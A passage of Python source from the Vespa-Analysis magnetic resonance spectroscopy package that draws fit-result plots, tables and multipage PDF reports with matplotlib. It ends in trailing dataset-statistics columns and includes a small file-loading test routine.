ax0.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))
# Data, baseline ----------------------------------------------------------
ax1 = fig.add_axes(rect1)
ax1.plot(xvals, fre, 'k')
ax1.plot(xvals, bas, 'm')
lbl = 'Data and Base'
ax1.set_ylabel(lbl, fontsize=fsiz4)
ax1.set_ylim(fre_min, fre_max)
ax1.set_xlim(maxplot, minplot)
ax1.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax1.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
ax1.yaxis.set_minor_locator(AutoMinorLocator(2))
ax1.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))
# Data-Base, Summed Peaks -------------------------------------------------
ax2 = fig.add_axes(rect2)
ax2.plot(xvals, dat, 'k')
ax2.plot(xvals, sum, 'g')
lbl = 'Data-Base and Sum Fit'
ax2.set_ylabel(lbl, fontsize=fsiz4)
ax2.set_ylim(fre_min, fre_max)
ax2.set_xlim(maxplot, minplot)
ax2.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax2.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
ax2.yaxis.set_minor_locator(AutoMinorLocator(2))
ax2.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))
# Noise Residual Plot -----------------------------------------------------
ax3 = fig.add_axes(rect3)
ax3.plot(xvals, rsd, 'k')
lbl = 'Residual'
ax3.set_ylabel(lbl, fontsize=fsiz4)
ax3.set_xlabel('Chemical Shift [ppm]', fontsize=fsiz4)
ax3.set_ylim(fre_min, fre_max)
ax3.set_xlim(maxplot, minplot)
ax3.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax3.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
ax3.yaxis.set_minor_locator(AutoMinorLocator(2))
ax3.yaxis.set_major_formatter(FormatStrFormatter('%.1f'))
# Common Settings for both plot axes --------------------------------------
for ax in [ax0,ax1,ax2,ax3]:
ax.xaxis.set_major_locator(MultipleLocator(1)) # this is for even distrib across plot
ax.xaxis.set_minor_locator(MultipleLocator(0.2))
ax.grid(which='major', axis='x', linewidth=0.50, linestyle='-', color='0.75')
ax.grid(which='minor', axis='x', linewidth=0.25, linestyle=':', color='0.75')
ax.grid(which='major', axis='y', linewidth=0.25, linestyle=':', color='0.75')
ax.grid(which='minor', axis='y', linewidth=0.25, linestyle=':', color='0.75')
# Table Setup -------------------------------------------------------------
ax4 = fig.add_axes(rect4)
ax4.xaxis.set_major_formatter(nullfmt) # turn off axis markers
ax4.yaxis.set_major_formatter(nullfmt)
ax4.axis('off')
the_table = ax4.table(cellText=fit_data, cellLoc='left',
colLoc='left', colLabels=None, colWidths=None,
rowLoc='center', rowLabels=None,
fontsize=fsiz4, loc='upper center')
the_table.auto_set_font_size(False)
the_table.set_fontsize(fsiz4)
for item in range(len(fit_data[0])):
the_table.auto_set_column_width(item) # mpl bug requires that each col be added individually
table_props = the_table.properties()
cheight = table_props['children'][0].get_height() # all start with same default
keys = list(table_props['celld'].keys())
for key in keys: # use cell dict to test grid location for line settings
cell = table_props['celld'][key]
cell.set_height(1.0*cheight)
cell.get_text().set_fontname(fontname)
if key[0] in nsect: # this is a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'BLT'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'BRT'
else:
cell.visible_edges = 'BT'
cell.set_linewidth(1.0)
cell.set_linestyle('-')
#cell.get_text().set_fontweight('bold')
else: # not a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'L'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BL'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'R'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BR'
else:
cell.visible_edges = ''
if key[0] == len(fit_data)-1: # last line in table
cell.visible_edges = 'B'
cell.set_linewidth(0.75)
cell.set_linestyle('-')
#cell.get_text().set_fontweight('bold')
# Retrieve an element of a plot and set properties
for tick in ax3.xaxis.get_ticklabels():
tick.set_fontsize(fsiz4)
tick.set_fontname(fontname)
tick.set_color(local_grey)
#tick.set_weight('bold') # 'normal'
for ax in [ax0,ax1,ax2,ax3]:
ax.xaxis.label.set_fontname(fontname)
ax.yaxis.label.set_fontname(fontname)
ax.yaxis.offsetText.set_fontname(fontname)
ax.yaxis.offsetText.set_fontsize(fsiz4)
for tick in ax.yaxis.get_ticklabels():
tick.set_fontsize(fsiz4)
tick.set_fontname(fontname)
tick.set_color(local_grey)
#tick.set_weight('bold')
tick.set_rotation(90)
middle = "Inline Processing (Ph0/1 Corr)" if fixphase else "Inline Processing"
msg1 = _pretty_space_text("Vespa-Analysis v%s" % (vespa_version, ), middle, "Timestamp: %s" % (timestamp, ), total_width=48)
fig.text(0.042, 0.93, msg1,
wrap=True,
horizontalalignment='left',
fontsize=fsiz4,
fontname=fontname)
fig.canvas.draw()
# buf = fig.canvas.tostring_rgb()
#
# ncols, nrows = fig.canvas.get_width_height()
#
# cbuf = np.fromstring(buf, dtype=np.uint8)
# cbuf = tuple([int(item) for item in cbuf])
#
# bob = np.fromstring(buf, dtype=np.uint8).reshape(int(nrows*ncols*3/16),16)
#
# fname1 = "D:\\Users\\bsoher\\_test1.txt"
# fname2 = "D:\\Users\\bsoher\\_test1.bin"
# hdr = 'const char myarr[] = {'
# ftr = '};'
#
# np.savetxt(fname1, bob, fmt='%d', delimiter=',', newline='\n', header=hdr, footer=ftr)
# bob.tofile(fname2)
return [fig, ]
def debug_plot4(dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
nobase=False,
extfig=None,
fixphase=False,
verbose=False,
debug=False,
quantvals=False,
voxel=None,
dpi=None):
"""
Some typical save type formats = 'svg' 'eps' 'pdf' 'png' 'raw' 'rgba' 'ps' 'pgf' etc.
Typical fontnames 'Consolas' 'Calibri' 'Courier New' 'Times New Roman'
minplot and maxplot are in PPM
"""
# Print Control Setting ----------------------
viffname = os.path.basename(viffpath) if viffpath else 'none'
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
table_call = dataset.fit_results_in_table
if quantvals:
if 'quant' in list(dataset.blocks.keys()):
table_call = dataset.quant_results_in_table
else:
quantvals = False
if voxel is None:
voxel = dataset.all_voxels[0]
data_source = dataset.blocks["raw"].get_data_source(voxel)
dim0, dim1, dim2, dim3 = dataset.spectral_dims
# estimate some layout scale issues ---------------------------------------
nmet = len(dataset.blocks['fit'].set.prior_list)
if nmet > 14:
d = {'fsiz4' : 7, 'vhead' : 0.8, 'vcell' : 0.7, 'pad' : 1}
else:
d = {'fsiz4' : 9, 'vhead' : 1.0, 'vcell' : 0.9, 'pad' : 0}
# Process 'fit' block to get results --------------------------------------
key = 'fit'
nmet = 1
if key in list(dataset.blocks.keys()):
block = dataset.blocks[key]
results = block.chain.run([voxel,], entry='plot_refresh') # NB. DIFFERENT FROM OTHER FIGURE CALLS
nmet = block.chain.nmet
lw = results['fitted_lw']
lwmin = results['minmaxlw'][0]
lwmax = results['minmaxlw'][1]
fit_data, nsect = table_call(voxel,
lw=lw,
lwmin=lwmin,
lwmax=lwmax,
fixphase=fixphase,
nozeros=False,
noppm=False,
pad=d['pad'],
format_float=True)
nfitcol = len(fit_data[0])
else:
msg = r"This dataset has no 'fit' block, returning."
raise ValueError(msg)
# Gather Data -------------------------------------------------------------
freq = results['data'].copy()
base = results['fit_baseline'].copy()
yini = results['yini'].copy()
yfind = results['yfit'].copy() # indiv fitted metabs
yfit = results['yfit'].copy()
yfits = results['yfit'].copy() if len(yfit.shape)==1 else np.sum(yfit, axis=0)
if len(yfit.shape) == 1:
yfit.shape = 1,yfit.shape[0] # case for 1 metabolite init value
if len(yfind.shape) == 1:
yfind.shape = 1,yfind.shape[0] # case for 1 metabolite fitted value
if fixphase:
x,y,z = voxel
ph0 = -block.fit_results[nmet*2+2,x,y,z]
ph1 = -block.fit_results[nmet*2+3,x,y,z]
piv = (dim0/2.0) - (dataset.frequency*(dataset.phase_1_pivot - dataset.resppm)/(dataset.sw/dim0))
arr1 = (np.arange(dim0) - piv)/dim0
ph0 = ph0 * DTOR
ph1 = ph1 * DTOR * arr1
phase = np.exp(1j * (ph0 + ph1))
freq *= phase
base *= phase
yfits *= phase
yini *= phase
# Calculate full xaxis values
xvals = [dataset.pts2ppm(val) for val in range(dim0)]
minppm, maxppm = xvals[-1], xvals[0]
# Calculate xaxis range to plot, create tics
minplot = minplot if minplot >= minppm else minppm
maxplot = maxplot if maxplot <= maxppm else maxppm
imin = int(dataset.ppm2pts(maxplot))
imax = int(dataset.ppm2pts(minplot))
tmin = np.round((minplot+0.5)) # integer ppm just above minppm
tmax = np.round((maxplot-0.5)) # integer ppm just under maxppm
xtick_range = np.arange(tmin, tmax+1, 1.0)
xvals = xvals[imin:imax] # trim to plot width
# Create the figure
if extfig is None:
fig = mpl.figure.Figure(figsize=(11,8.5), facecolor='white')
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
else:
fig = extfig
fig.subplots_adjust(hspace=0.001)
nullfmt = NullFormatter() # used to suppress labels on an axis
local_grey = (10./255.,10./255.,10./255.) # used to tweak font color locally
# Layout for an LCModel-like landscape report
left, bottom = 0.02, 0.07 # set up for 8.5x11 landscape printout
w1, w2 = 0.45, 0.45
h0, h1, h2, h3 = 0.20, 0.20, 0.20, 0.20
hpad, vpad = 0.04, 0.001
rect0 = [left+w1+hpad, bottom+h0+h1+h2, w2, h3] # xmin, ymin, dx, and dy
rect1 = [left+w1+hpad, bottom+h0+h1, w2, h2]
rect2 = [left+w1+hpad, bottom+h0, w2, h1]
rect3 = [left+w1+hpad, bottom, w2, h0]
rect4 = [left, bottom, w1, h0+h1+h2+h3+0.015]
# Data, Fit+Baseline, Residual Plot ------------------------------------------------
fre = freq[imin:imax].real
sum = yfits[imin:imax].real
bas = base[imin:imax].real
dat = fre - bas
fit = sum + bas
rsd = fre - fit
yin = yini[:,imin:imax].real
yfi = yfind[:,imin:imax].real
fre_min, fre_max = min(fre),max(fre)
delt = (fre_max - fre_min)*0.05
fre_min, fre_max = fre_min-delt, fre_max+delt
tmp = abs(fre_max) if abs(fre_max) > abs(fre_min) else abs(fre_min) # in case spectrum flipped
fmajor = tmp/4.0
if fmajor > 2.5:
fmajor = np.round(fmajor,0)
ax0 = fig.add_axes(rect0)
ax0.xaxis.set_major_formatter(nullfmt) # no x labels, have to go before plot()
ax0.plot(xvals, fre, 'k', lw=1.0)
ax0.plot(xvals, fit, 'g', lw=1.5, alpha=0.7)
ax0.plot(xvals, rsd, 'k', lw=1.0, alpha=0.7)
lbl = 'Data, Fit+Base, Resid'
ax0.set_ylabel(lbl, fontsize=8.0)
ax0.set_ylim(fre_min, fre_max)
ax0.set_xlim(maxplot, minplot)
ax0.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax0.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax0.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# TODO bjs - from brp512 layout
# ax0.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
# ax0.yaxis.set_minor_locator(AutoMinorLocator(2))
# Data, baseline ----------------------------------------------------------
ax1 = fig.add_axes(rect1)
ax1.plot(xvals, fre, 'k', lw=1.0)
ax1.plot(xvals, bas, 'm', lw=1.0)
lbl = 'Data, Base'
ax1.set_ylabel(lbl, fontsize=8.0)
ax1.set_ylim(fre_min, fre_max)
ax1.set_xlim(maxplot, minplot)
ax1.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax1.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax1.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# Data, Initial Values Peaks -------------------------------------------------
ax2 = fig.add_axes(rect2)
ax2.plot(xvals, fre, 'k', lw=1.25)
for ii in range(yin.shape[0]):
ax2.plot(xvals, yin[ii,:], 'g', lw=1.0)
lbl = 'Data, Init Vals'
ax2.set_ylabel(lbl, fontsize=8.0)
ax2.set_ylim(fre_min, fre_max)
ax2.set_xlim(maxplot, minplot)
ax2.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax2.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax2.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# Data-Base and Indiv Fits Plot -----------------------------------------------------
ax3 = fig.add_axes(rect3)
ax3.plot(xvals, dat, 'k', lw=1.0)
for ii in range(yfi.shape[0]):
ax3.plot(xvals, yfi[ii,:], 'g', lw=1.0)
lbl = 'Dat-Bas, Indiv Fits'
ax3.set_ylabel(lbl, fontsize=8.0)
ax3.set_xlabel('Chemical Shift [ppm]', fontsize=8.0)
ax3.set_ylim(fre_min, fre_max)
ax3.set_xlim(maxplot, minplot)
ax3.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax3.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax3.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# Common Settings for both plot axes --------------------------------------
for ax in [ax0,ax1,ax2,ax3]:
ax.xaxis.set_major_locator(MultipleLocator(1)) # this is for even distrib across plot
ax.xaxis.set_minor_locator(MultipleLocator(0.2))
ax.grid(which='major', axis='x', linewidth=0.25, linestyle='-', color='0.8')
ax.grid(which='minor', axis='x', linewidth=0.25, linestyle=(0,(18,6)), color='0.8')
ax.grid(which='major', axis='y', linewidth=0.25, linestyle=(0,(6,18)), color='0.8')
# ax.grid(which='minor', axis='y', linewidth=0.25, linestyle=':', color='0.8')
# Table Setup -------------------------------------------------------------
ax4 = fig.add_axes(rect4)
ax4.xaxis.set_major_formatter(nullfmt) # turn off axis markers
ax4.yaxis.set_major_formatter(nullfmt)
ax4.axis('off')
the_table = ax4.table(cellText=fit_data, cellLoc='left',
colLoc='left', colLabels=None, colWidths=None,
rowLoc='center', rowLabels=None,
fontsize=d['fsiz4'], loc='upper center')
the_table.auto_set_font_size(False)
the_table.set_fontsize(d['fsiz4'])
for item in range(len(fit_data[0])):
the_table.auto_set_column_width(item) # mpl bug requires that each col be added individually
table_props = the_table.properties()
cheight = table_props['children'][0].get_height() # all start with same default
keys = list(table_props['celld'].keys())
for key in keys: # use cell dict to test grid location for line settings
cell = table_props['celld'][key]
cell.get_text().set_fontname(fontname)
if key[0] in nsect: # this is a header cell
cell.set_height(d['vhead']*cheight)
if key[1] == 0: # - leftmost
cell.visible_edges = 'BLT'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'BRT'
else:
cell.visible_edges = 'BT'
cell.set_linewidth(1.0)
cell.set_linestyle('-')
cell.get_text().set_fontweight('bold')
else: # not a header cell
cell.set_height(d['vcell']*cheight)
if key[1] == 0: # - leftmost
cell.visible_edges = 'L'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BL'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'R'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BR'
else:
cell.visible_edges = ''
if key[0] == len(fit_data)-1: # last line in table
cell.visible_edges = 'B'
cell.set_linewidth(0.25)
cell.set_linestyle('-')
# Retrieve an element of a plot and set properties
for tick in ax3.xaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold') # 'normal'
for ax in [ax0,ax1,ax2,ax3]:
ax.xaxis.label.set_fontname(fontname)
ax.yaxis.label.set_fontname(fontname)
ax.yaxis.offsetText.set_fontname(fontname)
ax.yaxis.offsetText.set_fontsize(8.0)
for tick in ax.yaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold')
tick.set_rotation(90)
middle = "'Fit' Tab Results (Phase0/1 Corrected)" if fixphase else "'Fit' Tab Results"
msg1 = _pretty_space_text("Vespa-Analysis Version: %s" % (vespa_version, ), middle, "Processing Timestamp: %s" % (timestamp, ))
fig.text(0.042, 0.94, msg1,
wrap=True,
horizontalalignment='left',
fontsize=8,
fontname=fontname)
msg = "Data Source : %s \nVIFF File : %s" % (data_source, viffname )
fig.text(0.042, 0.89, msg,
wrap=True,
horizontalalignment='left',
color=local_grey,
fontsize=8,
fontname=fontname)
# msg = u"VIFF File : %s \nData Source : %s" % (viffname, data_source)
# fig.figtext(0.042, 0.89, msg,
# wrap=True,
# horizontalalignment='left',
# color=local_grey,
# fontsize=10,
# fontname=fontname)
fig.canvas.draw()
return [fig, ]
def debug_multipage_pdf(dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
nobase=False,
extfig=None,
fixphase=False,
verbose=False,
debug=False,
quantvals=False,
voxel=None,
dpi=None):
"""
Some typical save type formats = 'svg' 'eps' 'pdf' 'png' 'raw' 'rgba' 'ps' 'pgf' etc.
Typical fontnames 'Consolas' 'Calibri' 'Courier New' 'Times New Roman'
minplot and maxplot are in PPM
"""
# Print Control Setting ----------------------
viffname = os.path.basename(viffpath) if viffpath else 'none'
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
table_call = dataset.fit_results_in_table
if quantvals:
if 'quant' in list(dataset.blocks.keys()):
table_call = dataset.quant_results_in_table
else:
quantvals = False
if voxel is None:
voxel = dataset.all_voxels[0]
data_source = dataset.blocks["raw"].get_data_source(voxel)
dim0, dim1, dim2, dim3 = dataset.spectral_dims
# estimate some layout scale issues ---------------------------------------
nmet = len(dataset.blocks['fit'].set.prior_list)
if nmet > 14:
d = {'fsiz4' : 7, 'vhead' : 0.8, 'vcell' : 0.7, 'pad' : 1}
else:
d = {'fsiz4' : 9, 'vhead' : 1.0, 'vcell' : 0.9, 'pad' : 0}
# Process 'fit' block to get results --------------------------------------
key = 'fit'
nmet = 1
if key in list(dataset.blocks.keys()):
block = dataset.blocks[key]
results = block.chain.run([voxel,], entry='plot_refresh') # NB. DIFFERENT FROM OTHER FIGURE CALLS
nmet = block.chain.nmet
lw = results['fitted_lw']
lwmin = results['minmaxlw'][0]
lwmax = results['minmaxlw'][1]
fit_data, nsect = table_call(voxel,
lw=lw,
lwmin=lwmin,
lwmax=lwmax,
fixphase=fixphase,
nozeros=False,
noppm=False,
pad=d['pad'],
format_float=True)
nfitcol = len(fit_data[0])
prior_list = list(block.set.prior_list)
if block.set.macromol_single_basis_dataset is not None:
prior_list.append('Mac')
else:
msg = r"This dataset has no 'fit' block, returning."
raise ValueError(msg)
# Gather Data -------------------------------------------------------------
freq = results['data'].copy()
base = results['fit_baseline'].copy()
yini = results['yini'].copy()
yfind = results['yfit'].copy() # indiv fitted metabs
yfit = results['yfit'].copy()
yfits = results['yfit'].copy() if len(yfit.shape)==1 else np.sum(yfit, axis=0)
if len(yfit.shape) == 1:
yfit.shape = 1,yfit.shape[0] # case for 1 metabolite init value
if len(yfind.shape) == 1:
yfind.shape = 1,yfind.shape[0] # case for 1 metabolite fitted value
if fixphase:
x,y,z = voxel
ph0 = -block.fit_results[nmet*2+2,x,y,z]
ph1 = -block.fit_results[nmet*2+3,x,y,z]
piv = (dim0/2.0) - (dataset.frequency*(dataset.phase_1_pivot - dataset.resppm)/(dataset.sw/dim0))
arr1 = (np.arange(dim0) - piv)/dim0
ph0 = ph0 * DTOR
ph1 = ph1 * DTOR * arr1
phase = np.exp(1j * (ph0 + ph1))
freq *= phase
base *= phase
yfit *= phase
yfits *= phase
yini *= phase
# Calculate full xaxis values
xvals = [dataset.pts2ppm(val) for val in range(dim0)]
minppm, maxppm = xvals[-1], xvals[0]
# Calculate xaxis range to plot, create tics
minplot = minplot if minplot >= minppm else minppm
maxplot = maxplot if maxplot <= maxppm else maxppm
imin = int(dataset.ppm2pts(maxplot))
imax = int(dataset.ppm2pts(minplot))
tmin = np.round((minplot+0.5)) # integer ppm just above minppm
tmax = np.round((maxplot-0.5)) # integer ppm just under maxppm
xtick_range = np.arange(tmin, tmax+1, 1.0)
xvals = xvals[imin:imax] # trim to plot width
all_figs = []
for i in range(yfind.shape[0] + 1):
# Create the figure
fig = mpl.figure.Figure(figsize=(11,8.5), facecolor='white')
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
fig.subplots_adjust(hspace=0.001)
nullfmt = NullFormatter() # used to suppress labels on an axis
local_grey = (10./255.,10./255.,10./255.) # used to tweak font color locally
# Layout for an LCModel-like single metabolite fit
rect = [0.06, 0.07, 0.89, 0.8] # set up for 8.5x11 landscape printout
# Data, Fit+Baseline, Residual Plot ------------------------------------------------
fre = freq[imin:imax].real
sum = yfits[imin:imax].real
bas = base[imin:imax].real
dat = fre - bas
fit = sum + bas
rsd = fre - fit
yin = yini[:,imin:imax].real
yfi = yfind[:,imin:imax].real
if i == 0: # general plot
plt1 = fre
plt2 = fit
plt3 = rsd
lbl = 'Data, Fit+Base, Resid'
middle = "Fitted - Full Model" if fixphase else "Fitted - Full Model (Phase0/1 Corrected)"
else:
plt1 = fre
plt2 = yfi[i-1,:]
plt3 = None
lbl = 'Data, Indiv Metab Fit'
if fixphase:
middle = "Fitted - %s (Phase0/1 Corrected)" % (prior_list[i-1], )
else:
middle = "Fitted - %s" % (prior_list[i-1],)
msg1 = _pretty_space_text("Vespa-Analysis Version: %s " % (vespa_version,), middle, " Processing Timestamp: %s" % (timestamp,))
fre_min, fre_max = min(fre),max(fre)
delt = (fre_max - fre_min)*0.05
fre_min, fre_max = fre_min-delt, fre_max+delt
tmp = abs(fre_max) if abs(fre_max) > abs(fre_min) else abs(fre_min) # in case spectrum flipped
fmajor = tmp/4.0
if fmajor > 2.5:
fmajor = np.round(fmajor,0)
ax = fig.add_axes(rect)
ax.plot(xvals, plt1, 'k', lw=1.0)
ax.plot(xvals, plt2, 'g', lw=1.5, alpha=0.7)
if plt3 is not None:
ax.plot(xvals, plt3, 'k', lw=1.0, alpha=0.7)
ax.set_ylabel(lbl, fontsize=8.0)
ax.set_xlabel('Chemical Shift [ppm]', fontsize=8.0)
ax.set_ylim(fre_min, fre_max)
ax.set_xlim(maxplot, minplot)
ax.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax.yaxis.set_major_locator(MultipleLocator(fmajor)) # this is for even distrib across plot
ax.yaxis.set_minor_locator(MultipleLocator(fmajor*0.5))
# Common Settings for both plot axes --------------------------------------
ax.xaxis.set_major_locator(MultipleLocator(1)) # this is for even distrib across plot
ax.xaxis.set_minor_locator(MultipleLocator(0.2))
ax.grid(which='major', axis='x', linewidth=0.25, linestyle='-', color='0.8')
ax.grid(which='minor', axis='x', linewidth=0.25, linestyle=(0,(18,6)), color='0.8')
ax.grid(which='major', axis='y', linewidth=0.25, linestyle=(0,(6,18)), color='0.8')
# ax.grid(which='minor', axis='y', linewidth=0.25, linestyle=':', color='0.8')
ax.xaxis.label.set_fontname(fontname)
ax.yaxis.label.set_fontname(fontname)
ax.yaxis.offsetText.set_fontname(fontname)
ax.yaxis.offsetText.set_fontsize(8.0)
for tick in ax.yaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold')
tick.set_rotation(90)
for tick in ax.xaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold') # 'normal'
fig.text(0.042, 0.94, msg1, wrap=True, horizontalalignment='left', fontsize=8, fontname=fontname)
msg2 = "VIFF File : %s \nData Source : %s" % (viffname, data_source)
fig.text(0.042, 0.89, msg2, wrap=True, horizontalalignment='left', color=local_grey, fontsize=10, fontname=fontname)
fig.canvas.draw()
all_figs.append(fig)
return all_figs
# Testing utilities -----------------------------------------------------------
def _open_viff(datafile):
datasets = []
filename = datafile
timestamp = ''
msg = ""
try:
importer = util_import.DatasetCliImporter(filename)
except IOError:
msg = """I can't read the file "%s".""" % filename
except SyntaxError:
msg = """The file "%s" isn't valid Vespa Interchange File Format.""" % filename
if msg:
print(msg, file=sys.stderr)
print(msg, file=sys.stdout)
sys.exit(-1)
else:
# Time to rock and roll!
dsets, timestamp = importer.go()
for item in dsets:
datasets.append(item)
if datasets:
for dataset in datasets:
dataset.set_associated_datasets(datasets)
if dataset.id == datasets[-1].id:
dataset.dataset_filename = filename
# dataset.filename is an attribute set only at run-time
# to maintain the name of the VIFF file that was read in
# rather than deriving a filename from the raw data
# filenames with *.xml appended. But we need to set this
# filename only for the primary dataset, not the associated
# datasets. Associated datasets will default back to their
# raw filenames if we go to save them for any reason
else:
dataset.dataset_filename = ''
return datasets, timestamp
def main():
""" Now we have a test """
from matplotlib import plt
STARTDIR = 'D:\\Users\\bsoher\\code\\repository_svn\\sample_data\\figure_layout_viffs'
viffpath = STARTDIR+'\\oneil_5076.0002.xml'
# viffpath = STARTDIR+'\\indiv_S5_V1.xml'
savetype = 'pdf'
minplot = 0.1
maxplot = 4.9
fixphase = True
fontname = 'Courier New'
vespa_version = util_misc.get_vespa_version()
# Check a few things up front ----------------
if not os.path.isfile(viffpath):
msg = """VIFF FILE does not exist "%s".""" % viffpath
print(msg, file=sys.stderr)
print(msg, file=sys.stdout)
sys.exit(-1)
fsupported = plt.gcf().canvas.get_supported_filetypes()
if savetype not in list(fsupported.keys()):
msg = r"Output file format '%s' not supported by current Matplotlib backend, Returning." % savetype
raise ValueError(msg)
# Load Main Dataset --------------------------
datasets, timestamp = _open_viff(viffpath)
dataset = datasets[-1]
outbase = viffpath+'.metab'
# Print Control Setting ----------------------
# fig = analysis_plot2(dataset,
# viffpath=viffpath,
# vespa_version=vespa_version,
# timestamp=timestamp,
# fontname=fontname,
# minplot=minplot,
# maxplot=maxplot,
# nobase=True,
# extfig=None,
# fixphase=fixphase,
# verbose=False, debug=False)
# fig = debug_plot4(dataset,
# viffpath=viffpath,
# vespa_version=vespa_version,
# timestamp=timestamp,
# fontname=fontname,
# minplot=minplot,
# maxplot=maxplot,
# nobase=True,
# extfig=None,
# fixphase=fixphase,
# verbose=False, debug=False)
#
# outname = outbase+'_debug.'+savetype
#
# fig[0].savefig(outname, dpi=300, pad_inches=0.5)
figs = debug_multipage_pdf(dataset,
viffpath=viffpath,
vespa_version=vespa_version,
timestamp=timestamp,
fontname=fontname,
minplot=minplot,
maxplot=maxplot,
nobase=True,
extfig=None,
fixphase=fixphase,
verbose=False,
debug=False)
outname = outbase+'_debugMulti.'+savetype
# Create the PdfPages object to which we will save the pages:
# The with statement makes sure that the PdfPages object is closed properly at
# the end of the block, even if an Exception occurs.
with PdfPages(outname) as pdf:
for fig in figs:
pdf.savefig(fig)
# We can also set the file's metadata via the PdfPages object:
today = datetime.date.today()
d = pdf.infodict()
d['Title'] = 'Unit Test for figure_layouts.py'
d['Author'] = 'Brian J. Soher'
d['Subject'] = 'How to create a multipage pdf file and set its metadata'
d['Keywords'] = 'PdfPages multipage keywords author title subject'
d['CreationDate'] = datetime.datetime(today.year, today.month, today.day)
d['ModDate'] = datetime.datetime.today()
# from matplotlib.backends.backend_pdf import PdfPages
#
# plot1 = plotGraph(tempDLstats, tempDLlabels)
# plot2 = plotGraph(tempDLstats_1, tempDLlabels_1)
# plot3 = plotGraph(tempDLstats_2, tempDLlabels_2)
#
# pp = PdfPages('foo.pdf')
# pp.savefig(plot1)
# pp.savefig(plot2)
# pp.savefig(plot3)
# pp.close()
print("Testing completed successfully ... returning.")
if __name__ == '__main__':
main()
# # no labels
# nullfmt = NullFormatter() # no labels
#
# ax4.xaxis.set_major_formatter(nullfmt) # have to go before plot()
# ax4.yaxis.set_major_formatter(nullfmt) # have to go before plot()
# ax4.plot(freq[1000:1800])
# plt.xticks(np.arange(100, 800, 200))
# plt.xlim(0, 800)
# # Gets rid of xaxis label for ax1 and ax2
# xticklabels = ax1.get_xticklabels() + ax2.get_xticklabels()
# plt.setp(xticklabels, visible=False)
# # Annotate example with mathtext and how to set color with 3 term RGB vector
# mpl_grey_rvb = (51./255., 51./255., 51./255.)
# mpl_grey_rvb = (1./255., 1./255., 1./255.)
# tmp2 =r"$\mathrm{Roman}\ , \ \mathit{Italic}\ , \ \mathtt{Typewriter} \, \ \mathrm{or}\ \mathcal{CALLIGRAPHY}$"
# plt.annotate(tmp2, xy=(110.0, 7.0),
# xycoords='data',
# color=mpl_grey_rvb,
# fontsize=7)
| 39.722705
| 137
| 0.531566
| 12,675
| 105,146
| 4.312505
| 0.061538
| 0.021368
| 0.015807
| 0.011141
| 0.903679
| 0.896782
| 0.887324
| 0.879567
| 0.877628
| 0.873566
| 0
| 0.038712
| 0.32219
| 105,146
| 2,647
| 138
| 39.722705
| 0.728255
| 0.204582
| 0
| 0.887513
| 0
| 0
| 0.0597
| 0.001134
| 0
| 0
| 0
| 0.001889
| 0
| 1
| 0.006997
| false
| 0
| 0.010764
| 0.000538
| 0.02422
| 0.002691
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 1
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| 0
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| null | 0
| 0
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| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
be40cf7efe45355efa5de63b977cc80e266eee98
| 5,527
|
py
|
Python
|
tests/tests.py
|
Duroktar/trab
|
29fb8ad870f3fe89e7a256bbb9b56d942d9f6873
|
[
"MIT"
] | null | null | null |
tests/tests.py
|
Duroktar/trab
|
